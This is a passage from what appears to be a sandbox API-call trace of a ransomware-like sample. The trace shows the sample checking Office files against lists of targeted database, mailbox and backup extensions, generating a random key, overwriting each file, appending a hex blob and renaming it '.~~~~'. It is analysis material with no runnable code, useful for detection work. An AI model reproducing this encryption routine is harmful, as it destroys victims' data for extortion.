	[0143.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.056] lstrlenW (lpString=".sqb") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".sqb") returned 0x0
	[0143.056] lstrlenW (lpString=".ost") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".ost") returned 0x0
	[0143.056] lstrlenW (lpString=".txt") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".txt") returned 0x0
	[0143.056] lstrlenW (lpString=".mdt") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".mdt") returned 0x0
	[0143.056] lstrlenW (lpString=".BDB") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".BDB") returned 0x0
	[0143.056] lstrlenW (lpString=".eql") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".eql") returned 0x0
	[0143.056] lstrlenW (lpString=".DBF") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DBF") returned 0x0
	[0143.056] lstrlenW (lpString=".EQL") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".EQL") returned 0x0
	[0143.056] lstrlenW (lpString=".FDB") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".FDB") returned 0x0
	[0143.056] lstrlenW (lpString=".EDB") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".EDB") returned 0x0
	[0143.056] lstrlenW (lpString=".DACPAC") returned 7
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.056] lstrlenW (lpString=".VHD") returned 4
	[0143.056] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".VHD") returned 0x0
	[0143.056] lstrlenW (lpString=".DBV") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DBV") returned 0x0
	[0143.057] lstrlenW (lpString=".dacpac") returned 7
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.057] lstrlenW (lpString=".sdf") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".sdf") returned 0x0
	[0143.057] lstrlenW (lpString=".accdb") returned 6
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".accdb") returned 0x0
	[0143.057] lstrlenW (lpString=".DBX") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DBX") returned 0x0
	[0143.057] lstrlenW (lpString=".MDT") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".MDT") returned 0x0
	[0143.057] lstrlenW (lpString=".SQB") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".SQB") returned 0x0
	[0143.057] lstrlenW (lpString=".vhd") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".vhd") returned 0x0
	[0143.057] lstrlenW (lpString=".bac") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".bac") returned 0x0
	[0143.057] lstrlenW (lpString=".mdf") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".mdf") returned 0x0
	[0143.057] lstrlenW (lpString=".BAK") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".BAK") returned 0x0
	[0143.057] lstrlenW (lpString=".BAC") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".BAC") returned 0x0
	[0143.057] lstrlenW (lpString=".dbs") returned 4
	[0143.057] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dbs") returned 0x0
	[0143.057] lstrlenW (lpString=".vhdx") returned 5
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".vhdx") returned 0x0
	[0143.058] lstrlenW (lpString=".NDF") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".NDF") returned 0x0
	[0143.058] lstrlenW (lpString=".dat") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dat") returned 0x0
	[0143.058] lstrlenW (lpString=".DBS") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DBS") returned 0x0
	[0143.058] lstrlenW (lpString=".CKP") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".CKP") returned 0x0
	[0143.058] lstrlenW (lpString=".edb") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".edb") returned 0x0
	[0143.058] lstrlenW (lpString=".PST") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".PST") returned 0x0
	[0143.058] lstrlenW (lpString=".dbf") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dbf") returned 0x0
	[0143.058] lstrlenW (lpString=".SQL") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".SQL") returned 0x0
	[0143.058] lstrlenW (lpString=".pst") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".pst") returned 0x0
	[0143.058] lstrlenW (lpString=".dbv") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dbv") returned 0x0
	[0143.058] lstrlenW (lpString=".SDF") returned 4
	[0143.058] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".SDF") returned 0x0
	[0143.058] lstrlenW (lpString=".dtxs") returned 5
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dtxs") returned 0x0
	[0143.059] lstrlenW (lpString=".db3") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".db3") returned 0x0
	[0143.059] lstrlenW (lpString=".OST") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".OST") returned 0x0
	[0143.059] lstrlenW (lpString=".dbx") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dbx") returned 0x0
	[0143.059] lstrlenW (lpString=".DB3") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DB3") returned 0x0
	[0143.059] lstrlenW (lpString=".DAT") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DAT") returned 0x0
	[0143.059] lstrlenW (lpString=".VHDX") returned 5
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".VHDX") returned 0x0
	[0143.059] lstrlenW (lpString=".ndf") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".ndf") returned 0x0
	[0143.059] lstrlenW (lpString=".DB") returned 3
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DB") returned 0x0
	[0143.059] lstrlenW (lpString=".sql") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".sql") returned 0x0
	[0143.059] lstrlenW (lpString=".MYD") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".MYD") returned 0x0
	[0143.059] lstrlenW (lpString=".DBT") returned 4
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DBT") returned 0x0
	[0143.059] lstrlenW (lpString=".ACCDB") returned 6
	[0143.059] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".ACCDB") returned 0x0
	[0143.060] lstrlenW (lpString=".fdb") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".fdb") returned 0x0
	[0143.060] lstrlenW (lpString=".bak") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".bak") returned 0x0
	[0143.060] lstrlenW (lpString=".myd") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".myd") returned 0x0
	[0143.060] lstrlenW (lpString=".DTXS") returned 5
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".DTXS") returned 0x0
	[0143.060] lstrlenW (lpString=".ckp") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".ckp") returned 0x0
	[0143.060] lstrlenW (lpString=".dbt") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".dbt") returned 0x0
	[0143.060] lstrlenW (lpString=".db") returned 3
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".db") returned 0x0
	[0143.060] lstrlenW (lpString=".TXT") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".TXT") returned 0x0
	[0143.060] lstrlenW (lpString=".MDF") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".MDF") returned 0x0
	[0143.060] lstrlenW (lpString=".bdb") returned 4
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".bdb") returned 0x0
	[0143.060] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0143.060] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0143.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0143.061] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0143.061] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0143.189] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0143.189] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0143.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0143.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0143.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0143.189] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26318200593) returned 1
	[0143.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbec3a970, dwHighDateTime=0x1d60e1e)) 
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5508
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0143.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5508 | out: hHeap=0x300000) returned 1
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0143.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0143.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ab2b8
	[0143.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0143.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0143.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab2b8 | out: hHeap=0x300000) returned 1
	[0143.209] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0143.209] GetLastError () returned 0x0
	[0143.209] GetLastError () returned 0x0
	[0143.209] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0143.209] GetLastError () returned 0x0
	[0143.209] GetLastError () returned 0x0
	[0143.209] ReadFile (in: hFile=0x114, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0x1a76, lpOverlapped=0x0) returned 1
	[0143.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe58a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0143.211] WriteFile (in: hFile=0x114, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x1a76, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0x1a76, lpOverlapped=0x0) returned 1
	[0143.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0143.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0143.211] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0143.211] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0143.211] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0143.211] CloseHandle (hObject=0x114) returned 1
	[0143.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28ab2b8
	[0143.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif.~~~~")) returned 1
	[0143.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ab2b8 | out: hHeap=0x300000) returned 1
	[0143.214] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0143.214] GetLastError () returned 0x0
	[0143.215] RtlWakeConditionVariable () returned 0x0
	[0143.215] GetCurrentThreadId () returned 0x3a4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".scr") returned 0x0
	[0143.215] lstrlenW (lpString=".cmd") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".cmd") returned 0x0
	[0143.215] lstrlenW (lpString=".dll") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dll") returned 0x0
	[0143.215] lstrlenW (lpString=".bat") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".bat") returned 0x0
	[0143.215] lstrlenW (lpString=".cpl") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".cpl") returned 0x0
	[0143.215] lstrlenW (lpString=".sys") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".sys") returned 0x0
	[0143.215] lstrlenW (lpString=".msc") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".msc") returned 0x0
	[0143.215] lstrlenW (lpString=".com") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".com") returned 0x0
	[0143.215] lstrlenW (lpString=".lnk") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".lnk") returned 0x0
	[0143.215] lstrlenW (lpString=".msp") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".msp") returned 0x0
	[0143.215] lstrlenW (lpString=".pif") returned 4
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".pif") returned 0x0
	[0143.215] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0143.215] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0143.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0143.218] lstrlenW (lpString=".sqb") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".sqb") returned 0x0
	[0143.218] lstrlenW (lpString=".ost") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".ost") returned 0x0
	[0143.218] lstrlenW (lpString=".txt") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".txt") returned 0x0
	[0143.218] lstrlenW (lpString=".mdt") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".mdt") returned 0x0
	[0143.218] lstrlenW (lpString=".BDB") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".BDB") returned 0x0
	[0143.218] lstrlenW (lpString=".eql") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".eql") returned 0x0
	[0143.218] lstrlenW (lpString=".DBF") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DBF") returned 0x0
	[0143.218] lstrlenW (lpString=".EQL") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".EQL") returned 0x0
	[0143.218] lstrlenW (lpString=".FDB") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".FDB") returned 0x0
	[0143.218] lstrlenW (lpString=".EDB") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".EDB") returned 0x0
	[0143.218] lstrlenW (lpString=".DACPAC") returned 7
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DACPAC") returned 0x0
	[0143.218] lstrlenW (lpString=".VHD") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".VHD") returned 0x0
	[0143.218] lstrlenW (lpString=".DBV") returned 4
	[0143.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DBV") returned 0x0
	[0143.219] lstrlenW (lpString=".dacpac") returned 7
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".dacpac") returned 0x0
	[0143.219] lstrlenW (lpString=".sdf") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".sdf") returned 0x0
	[0143.219] lstrlenW (lpString=".accdb") returned 6
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".accdb") returned 0x0
	[0143.219] lstrlenW (lpString=".DBX") returned 4
	[0143.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47F.GIF", lpSrch=".DBX") returned 0x0
